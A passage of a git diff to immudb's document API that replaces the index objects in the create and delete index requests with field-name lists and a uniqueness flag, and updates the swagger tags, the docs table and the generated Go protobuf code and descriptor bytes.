(grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: [ - "documents", - "audit" + "documents" ]; }; } @@ -357,8 +357,7 @@ service DocumentService { }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { tags: [ - "documents", - "audit" + "documents" ]; }; } diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index ac5a397aac..5d23c263d2 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -599,7 +599,8 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| indexes | [Index](#immudb.model.Index) | repeated | | +| fields | [string](#string) | repeated | | +| isUnique | [bool](#bool) | | | @@ -625,7 +626,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [string](#string) | | | -| indexes | [Index](#immudb.model.Index) | repeated | | +| fields | [string](#string) | repeated | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 75ff2a5ff0..903bdc1648 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -808,7 +808,8 @@ type IndexCreateRequest struct { unknownFields protoimpl.UnknownFields Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Indexes []*Index `protobuf:"bytes,2,rep,name=indexes,proto3" json:"indexes,omitempty"` + Fields []string `protobuf:"bytes,2,rep,name=fields,proto3" json:"fields,omitempty"` + IsUnique bool `protobuf:"varint,3,opt,name=isUnique,proto3" json:"isUnique,omitempty"` } func (x *IndexCreateRequest) Reset() { @@ -850,13 +851,20 @@ func (x *IndexCreateRequest) GetCollection() string { return "" } -func (x *IndexCreateRequest) GetIndexes() []*Index { +func (x *IndexCreateRequest) GetFields() []string { if x != nil { - return x.Indexes + return x.Fields } return nil } +func (x *IndexCreateRequest) GetIsUnique() bool { + if x != nil { + return x.IsUnique + } + return false +} + type IndexCreateResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -901,7 +909,7 @@ type IndexDeleteRequest struct { unknownFields protoimpl.UnknownFields Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Indexes []*Index `protobuf:"bytes,2,rep,name=indexes,proto3" json:"indexes,omitempty"` + Fields []string `protobuf:"bytes,2,rep,name=fields,proto3" json:"fields,omitempty"` } func (x *IndexDeleteRequest) Reset() { @@ -943,9 +951,9 @@ func (x *IndexDeleteRequest) GetCollection() string { return "" } -func (x *IndexDeleteRequest) GetIndexes() []*Index { +func (x *IndexDeleteRequest) GetFields() []string { if x != nil { - return x.Indexes + return x.Fields } return nil } @@ -2042,280 +2050,278 @@ var file_documents_proto_rawDesc = []byte{ 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x63, 0x0a, 0x12, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x68, 0x0a, 0x12, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, 0x64, - 0x65, 0x78, 0x65, 0x73, 0x22, 0x15, 0x0a, 0x13, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x63, 0x0a, 0x12, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, - 0x22, 0x15, 0x0a, 0x13, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, + 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x4c, 0x0a, 0x12, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x22, 0x15, + 0x0a, 0x13, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, + 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x22, 0x5e, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x64, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5e, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, - 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, - 0x97, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, + 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x97, 0x01, + 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, + 0x69, 0x6f, 0x6e, 0x22, 0xc0, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, + 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, - 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x7a, 0x0a, 0x16, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xc0, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, - 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, - 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x48, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x73, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, - 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, - 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, - 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, - 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, - 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, - 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x74, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x3e, 0x0a, 0x09, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 